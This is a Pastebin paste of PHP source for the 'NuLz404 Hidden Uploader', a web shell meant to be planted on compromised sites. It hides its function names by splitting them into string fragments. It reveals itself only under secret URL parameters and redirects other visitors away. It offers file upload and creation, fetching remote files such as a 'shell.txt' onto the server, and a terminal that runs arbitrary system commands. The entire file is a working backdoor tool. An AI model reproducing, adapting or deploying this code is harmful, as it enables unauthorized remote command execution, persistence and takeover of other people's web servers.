API tools faq
paste
CaFc_Br40ck

Untitled

CaFc_Br40ck
Jan 7th, 2026
27
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.28 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. //NuLz404
  3. //Kalo Recode Nama gw jangan di Apus anjing
  4. //Kontol Lu Semua
  5. $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
  6. $domainUrl = $protocol . '://' . $_SERVER['HTTP_HOST'] . '/';
  7.  
  8. //get uid:user gid:group
  9. $func_exist = 'fu' . 'nct' . 'ion' . '_' . 'ex' . 'ist' . 's';
  10. $psx_euid = 'p' . 'os' . 'ix' . '_' . 'ge' . 'te' . 'u' . 'i' . 'd';
  11. $psx_egid = 'p' . 'os' . 'ix' . '_' . 'ge' . 'te' . 'g' . 'i' . 'd';
  12. $psx_usr_uid = 'p' . 'os' . 'ix' . '_' . 'g' . 'et' . 'pw' . 'u' . 'i' . 'd';
  13. $psx_grp_gid = 'p' . 'os' . 'ix' . '_' . 'ge' . 'tg' . 'rg' . 'i' . 'd';
  14. $myuid = 'g' . 'et' . 'my' . 'ui' . 'd';
  15. $mygid = 'g' . 'et' . 'my' . 'gi' . 'd';
  16. $cur_usr = 'g' . 'et' . '_' . 'cu' . 'rr' . 'en' . 't' . '_' . 'us' . 'er';
  17. if (!$func_exist($psx_egid)) {
  18. $user = $func_exist($cur_usr) ? @$cur_usr() : "????";
  19. $uid = $func_exist($myuid) ? @$myuid() : "????";
  20. $gid = $func_exist($mygid) ? @$mygid() : "????";
  21. $group = "?";
  22. } else {
  23. $uid = $func_exist($psx_usr_uid) && $func_exist($psx_euid) ? @$psx_usr_uid($psx_euid()) : array("name" => "????", "uid" => "????");
  24. $gid = $func_exist($psx_grp_gid) && $func_exist($psx_egid) ? @$psx_grp_gid($psx_egid()) : array("name" => "????", "gid" => "????");
  25. $user = $uid['name'];
  26. $uid = $uid['uid'];
  27. $group = $gid['name'];
  28. $gid = $gid['gid'];
  29. }
  30.  
  31. $host = $_SERVER['SERVER_NAME'];
  32. $gcw = 'ge' . 'tc' . 'wd';
  33. $path = $gcw();
  34.  
  35. function komend($komendnya, $path)
  36. {
  37. $hayoloh = 'htm' . 'lspe' . 'cialc' . 'hars';
  38. $sgc = 's' . 'trea' . 'm_g' . 'et_c' . 'ont' . 'ents';
  39. $proc = 'pr' . 'oc' . '_' . 'o' . 'pen';
  40. $proc_cls = 'p' . 'ro' . 'c' . '_' . 'c' . 'lose';
  41. $pop = 'p' . 'ope' . 'n';
  42. $pop_cls = 'pc' . 'lose';
  43. $exc = 'e' . 'x' . 'ec';
  44. $sys = 's' . 'ys' . 't' . 'em';
  45. $pass = 'pa' . 's' . 'sth' . 'ru';
  46. $sh_exc = 's' . 'he' . 'll' . '_' . 'e' . 'xe' . 'c';
  47. $func_exist = 'fu' . 'nct' . 'ion' . '_' . 'ex' . 'ist' . 's';
  48. $preg = 'pr' . 'eg_' . 'mat' . 'ch';
  49. $regex = '2' . '>' . '&' . '1';
  50. if (!$preg('/' . $regex . '/i', $komendnya)) {
  51. $komendnya = $komendnya . ' ' . $regex;
  52. }
  53.  
  54. if ($func_exist($proc)) {
  55. $descriptors = [
  56. 0 => ['pipe', 'r'],
  57. 1 => ['pipe', 'w'],
  58. 2 => ['pipe', 'w'],
  59. ];
  60. $process = $proc($komendnya, $descriptors, $pipes, $path);
  61. if (is_resource($process)) {
  62. fwrite($pipes[0], 'input_data_here');
  63. fclose($pipes[0]);
  64. $output = $sgc($pipes[1]);
  65. $errors = $sgc($pipes[2]);
  66. fclose($pipes[1]);
  67. fclose($pipes[2]);
  68. $resultCode = $proc_cls($process);
  69. echo $hayoloh($output);
  70. }
  71. } elseif ($func_exist($pop)) {
  72. $process = $pop($komendnya, 'r');
  73. $read = fread($process, 2096);
  74. $hayoloh(print_r("$process: " . gettype($process) . "\n$read \n"));
  75. $pop_cls($process);
  76. } elseif ($func_exist($exc)) {
  77. $exc($komendnya, $output, $returnCode);
  78.  
  79. if ($returnCode === 0) {
  80. $res = implode($output);
  81. echo $hayoloh($res);
  82. ob_flush();
  83. flush();
  84. }
  85. } elseif ($func_exist($sys)) {
  86. $out = $sys($komendnya);
  87. echo $hayoloh($out);
  88. } elseif ($func_exist($pass)) {
  89. $out = $pass($komendnya);
  90. echo $hayoloh($out);
  91. } elseif ($func_exist($sh_exc)) {
  92. $out = $sh_exc($komendnya);
  93. echo $hayoloh($out);
  94. } else {
  95. echo "<b>The Function To Run The Command Is Disable On This Serever</b>";
  96. }
  97. }
  98.  
  99. if (isset($_POST['buatfile'])) {
  100. $namafile = $_POST['namafile'];
  101. $isifile = $_POST['isifile'];
  102. $handle = fopen("$namafile", "w");
  103. if ($isifile) {
  104. $buatfile = fwrite($handle, $isifile);
  105. } else {
  106. $buatfile = $handle;
  107. }
  108. if ($buatfile) {
  109. echo "<script>alert('Berhasil Buat File :)');</script>";
  110. } else {
  111. echo "<script>alert('Gagal Buat File :(');</script>";
  112. }
  113. }
  114.  
  115. if (isset($_GET['cafc'])) {
  116. if (isset($_GET['br40ck'])) {
  117. echo '
  118. <!DOCTYPE html>
  119. <html lang="en">
  120. <head>
  121. <title>.:NuLz404 Hidden Uploader:.</title>
  122. <meta charset="UTF-8">
  123. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  124. <meta http-equiv="X-UA-Compatible" content="ie=edge">
  125. <meta name="description" content="This Is A Hidden Uploader">
  126. <meta name="author" content="Haxorstars">
  127. <meta name="robots" content="noindex, nofollow">
  128. <link rel="shortcut icon" href="https://nulz-archive.vercel.app/archive/nulz.ico" type="image/x-icon" />
  129. <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" type="text/css" />
  130. <link href="https://fonts.googleapis.com/css?family=Trade+Winds" rel="stylesheet" type="text/css" />
  131. <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
  132. <style>
  133. body {
  134. background: #000000;
  135. display: flex;
  136. flex-wrap: wrap;
  137. justify-content: center;
  138. align-items: center;
  139. min-height: 100vh;
  140. }
  141. .root {
  142. display: flex;
  143. flex-wrap: wrap;
  144. flex-direction: column;
  145. justify-content: center;
  146. align-items: center;
  147. color: #eaeaea;
  148. width: 100%;
  149. height: auto;
  150. }
  151. .root h1 {
  152. style="font-size: 3vh;
  153. font-weight: 700;
  154. font-family: Trade Winds;
  155. text-shadow:0pt 0pt 10pt #fc0909,0pt 0pt 20pt #ffffff,0pt 0pt 30pt #fc0909;
  156. }
  157. .root form {
  158. width: 80%;
  159. display: flex;
  160. flex-direction: column;
  161. flex-wrap: wrap;
  162. justify-content: center;
  163. align-items: center;
  164. }
  165. .root form button {
  166. background: rgba(255,255,255,0.1);
  167. color: #ffffff;
  168. border: 1px solid #eaeaea;
  169. border-radius: 10px;
  170. font-size: 1.75vh;
  171. font-weight: 700;
  172. padding: 2.5px 5px 2.5px;
  173. margin: 0;
  174. }
  175. .root form button:hover {
  176. background: rgba(0,0,0,0.75);
  177. box-shadow: 0 0 10pt rgba(255,0,0,0.50), 0 0 20pt rgba(255,0,0,0.75);
  178. }
  179.  
  180. .terminal {
  181. width: 100%;
  182. background-color: #000000;
  183. border-radius: 5px;
  184. box-shadow: 0 0 20pt rgba(255, 255, 255, 0.5);
  185. }
  186.  
  187. .terminal-header {
  188. background: #ddd;
  189. padding: 5px;
  190. display: flex;
  191. align-items: center;
  192. }
  193.  
  194. .font-bold {
  195. font-weight: 700;
  196. }
  197.  
  198. .font-white {
  199. color: #ffffff;
  200. }
  201. .font-black {
  202. color: #000000;
  203. }
  204. .font-red {
  205. color: #ff0000;
  206. }
  207. .font-blue {
  208. color: #0000ff;
  209. }
  210.  
  211. .terminal-img {
  212. width: 3vh;
  213. }
  214.  
  215. .button {
  216. width: 12px;
  217. height: 12px;
  218. border-radius: 50%;
  219. margin-right: 5px;
  220. }
  221.  
  222. .terminal-content {
  223. background: #000000;
  224. width: 100%;
  225. height: 70vh;
  226. overflow-y: auto;
  227. color: #00ff00;
  228. font-size: 15px;
  229. white-space: pre;
  230. overflow-y: scroll;
  231. overflow-x: scroll;
  232. }
  233.  
  234. .terminal-input {
  235. position: relative;
  236. z-index: 1;
  237. background: #000000;
  238. display: flex;
  239. padding: 10px 5px 10px;
  240. }
  241.  
  242. .prompt {
  243. font-size: 15px;
  244. color: #0f0;
  245. }
  246.  
  247. .terminalInput {
  248. background: none;
  249. border: none;
  250. outline: none;
  251. color: #ffffff;
  252. flex: 1;
  253. font-family: monospace;
  254. font-size: 15px;
  255. }
  256. .terminalInput:hover {
  257. background: none;
  258. border: none;
  259. outline: none;
  260. }
  261. .terminalInput:focus {
  262. background: none;
  263. border: none;
  264. outline: none;
  265. }
  266. .terminalInput:active {
  267. background: none;
  268. border: none;
  269. outline: none;
  270. }
  271.  
  272. @media screen and (max-width: 500px) {
  273. .root form {
  274. width: 100%;
  275. }
  276. .terminal {
  277. width: 100%;
  278. }
  279. .terminal-content {
  280. font-size: 10px;
  281. }
  282. .prompt {
  283. font-size: 10px;
  284. }
  285. .terminalInput {
  286. font-size: 10px;
  287. }
  288. }
  289. </style>
  290. </head>
  291. <body>
  292. <div class="root">
  293. <div class="mb-4">
  294. <a href="?cafc&br40ck"><button type="button" class="btn btn-outline-light">Home</button></a>
  295. <a href="?cafc&br40ck&file"><button type="button" class="btn btn-outline-light">Buat File</button></a>
  296. <a href="?cafc&br40ck&remote"><button type="button" class="btn btn-outline-light">Remote Upload</button></a>
  297. <a href="?cafc&br40ck&terminal"><button type="button" class="btn btn-outline-light">Terminal</button></a>
  298. </div>
  299. <h1>NuLz404 Hidden Uploader</h1>
  300. <form action="" method="post" enctype="multipart/form-data">
  301. <div class="mb-3" style="display: flex; justify-content: center; align-items: center;">
  302. <label for="upl" style="color: #eaeaea; font-weight: 700; font-size: 1.75vh; margin: 1rem;">Upload File</label>
  303. <input type="file" name="file[]" id="file" onchange="this.form.submit()" multiple>
  304. </div>';
  305. if ($_SERVER["REQUEST_METHOD"] === "POST") {
  306. if (isset($_FILES["file"])) {
  307. $countFiles = count($_FILES["file"]["name"]);
  308. for ($i = 0; $i < $countFiles; $i++) {
  309. $fi_le_Na_me = $_FILES["file"]["name"][$i];
  310. $location = "" . $fi_le_Na_me;
  311. $uploadFunction = "m" . "ove" . "_up" . "loa" . "ded_fi" . "le";
  312.  
  313. if ($uploadFunction($_FILES["file"]["tmp_name"][$i], $location)) {
  314. echo "<div class='mb-4' style='display: flex; justify-content: center; align-items: center; flex-direction: column;'>";
  315. echo "<span style='color: #00ff00;'>Upload Success</span>";
  316. echo "<span>file => <a href='" . $fi_le_Na_me . "' color='#0092ff' target='_blank'>" . $fi_le_Na_me . "</a></span><br/>";
  317. echo "</div>";
  318. } else {
  319. echo "<div class='mb-4' style='display: flex; justify-content: center; align-items: center; flex-direction: column;'>";
  320. echo "<span style='color: #ff0000;'>Upload Failed :(</span>";
  321. echo "<span>file => " . $fi_le_Na_me . "<br/>";
  322. echo "</div>";
  323. }
  324. }
  325. } else {
  326. echo "<div class='mb-4' style='display: flex; justify-content: center; align-items: center; flex-direction: column;'>";
  327. echo "<span style='color: #fcf803;'>Tidak Ada File Yang Di Upload</span>";
  328. echo "</div>";
  329. }
  330. }
  331. ?>
  332. <?php
  333. if (isset($_GET['file'])) {
  334. echo '
  335. <div class="mb-3">
  336. <label for="namafile" class="form-label">Buat File</label>
  337. <input type="text" class="form-control form-control-sm" name="namafile" id="namafile" placeholder="nama file">
  338. <textarea class="form-control form-control-sm mt-3" name="isifile" cols="80" rows="20" placeholder="isi file" id="isifile"></textarea>
  339. <div class="mt-3 d-grid gap-2">
  340. <input class="btn btn-outline-light" type="submit" name="buatfile" value="Buat File">
  341. </div>
  342. </div>
  343. ';
  344. }
  345. ?>
  346. <?php
  347. if (isset($_POST['btn-remoteup'])) {
  348. $f_get = 'f'.'il'.'e'.'_'.'g'.'e'.'t'.'_'.'co'.'nten'.'t'.'s';
  349. $f_put = 'f'.'il'.'e'.'_'.'pu'.'t'.'_'.'co'.'n'.'te'.'nt'.'s';
  350. function fetchUrl($url) {
  351. global $func_exist;
  352. global $f_get;
  353. if ($func_exist($f_get)) {
  354. return $f_get($url);
  355. } elseif ($func_exist('curl_init')) {
  356. $ch = curl_init();
  357. curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
  358. curl_setopt($ch, CURLOPT_URL, $url);
  359. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
  360. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  361. return curl_exec($ch);
  362. curl_close($ch);
  363. } else {
  364. return false;
  365. }
  366. }
  367. $this_file = $_POST['fileurl'];
  368. $this_file_name = $_POST['savedname'];
  369. $f_content = fetchUrl($this_file);
  370. if (!empty($this_file) && !empty($this_file_name)) {
  371. if ($f_content !== false) {
  372. $writeF = $f_put($this_file_name, $f_content);
  373. if ($writeF !== false) {
  374. echo '
  375. <div class="uk-alert-success uk-flex uk-flex-center uk-flex-middle uk-flex-column uk-flex-wrap" uk-alert style="background: transparent;">
  376. <a href class="uk-alert-close" uk-close></a>
  377. <p><font class="font-white">Fi'.'le => <a href="'.$this_file_name.'">'.$this_file_name.'</a></font> S'.'uc'.'ce'.'s'.'s U'.'pl'.'oa'.'de'.'d <i class="fa-sharp fa-solid fa-shield-check"></i></p>
  378. </div>
  379. ';
  380. } else {
  381. echo '
  382. <div class="uk-alert-danger uk-flex uk-flex-center uk-flex-middle uk-flex-column uk-flex-wrap" uk-alert style="background: transparent;">
  383. <a href class="uk-alert-close" uk-close></a>
  384. <p><font class="font-white">Fi'.'le => '.$this_file_name.'</font> Fa'.'i'.'le'.'d '.'To'.' Up'.'lo'.'ad<i class="fa-solid fa-octagon-xmark"></i></p>
  385. </div>
  386. ';
  387. }
  388. } else {
  389. echo '
  390. <div class="uk-alert-danger uk-flex uk-flex-center uk-flex-middle uk-flex-column uk-flex-wrap" uk-alert style="background: transparent;">
  391. <a href class="uk-alert-close" uk-close></a>
  392. <p><font class="font-white">Fi'.'le => '.$this_file_name.'</font> Fa'.'il'.'ed T'.'o U'.'pl'.'oa'.'d<i class="fa-solid fa-octagon-xmark"></i></p>
  393. </div>
  394. ';
  395. }
  396. } else {
  397. echo '
  398. <div class="uk-alert-warning uk-flex uk-flex-center uk-flex-middle uk-flex-column uk-flex-wrap" uk-alert style="background: transparent;">
  399. <a href class="uk-alert-close" uk-close></a>
  400. <p>No F'.'il'.'es U'.'pl'.'oa'.'de'.'d, Your Input Is Empty<i class="fa-regular fa-location-exclamation"></i></p>
  401. </div>
  402. ';
  403. }
  404. }
  405. if (isset($_GET['remote'])) {
  406. echo '
  407. <div class="mb-3">
  408. <label for="fileurl" class="form-label">Remote Upload</label>
  409. <input type="text" class="form-control form-control-sm" name="fileurl" id="fileurl" placeholder="https://nulz.edu.gov.ac.id.go.id/shell.txt">
  410. <input type="text" class="form-control form-control-sm" name="savedname" id="savedname" placeholder="saved.txt">
  411. <div class="mt-3 d-grid gap-2">
  412. <input class="btn btn-outline-light" type="submit" name="btn-remoteup" value="Remote">
  413. </div>
  414. </div>
  415. </form>';
  416. }
  417. ?>
  418. <?php
  419. if (isset($_GET['terminal'])) {
  420. ?>
  421. <div class="terminal">
  422. <div class="terminal-header">
  423. <img class="terminal-img" src="https://raw.githubusercontent.com/haxorstars/archive/main/media/terminal.png"
  424. alt="terminal">
  425. <span class="font-bold font-black">Terminal</span>
  426. </div>
  427. <textarea class="terminal-content" id="terminalContent" readonly>
  428. <?php
  429. if (isset($_POST['exe'])) {
  430. $komendnya = htmlspecialchars($_POST['komend']);
  431. htmlspecialchars(komend($komendnya, $path));
  432. }
  433. ?>
  434. </textarea>
  435. <div class="terminal-input">
  436. <form action="" method="POST" enctype="multipart/form-data">
  437. <span class="prompt">
  438. <font class="font-white">[</font>
  439. <font class="font-red"><?= $user ?></font>
  440. <font class="font-white">@</font>
  441. <font class="font-blue"><?= $host ?></font>
  442. <font class="font-white">]</font>
  443. <font class="font-red">$</font>
  444. </span>
  445. <input type="text" name="komend" id="terminalInput" class="terminalInput" autofocus autocomplete="off">
  446. <input type="submit" name="exe" style="display: none;">
  447. </form>
  448. </div>
  449. </div>
  450. </div>
  451. </body>
  452.  
  453. </html>
  454. <?php
  455. }
  456. } else {
  457. echo '<script>window.location.href = "' . $domainUrl . '";</script>';
  458. }
  459. } else {
  460. echo '<script>window.location.href = "' . $domainUrl . '";</script>';
  461. }
  462. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!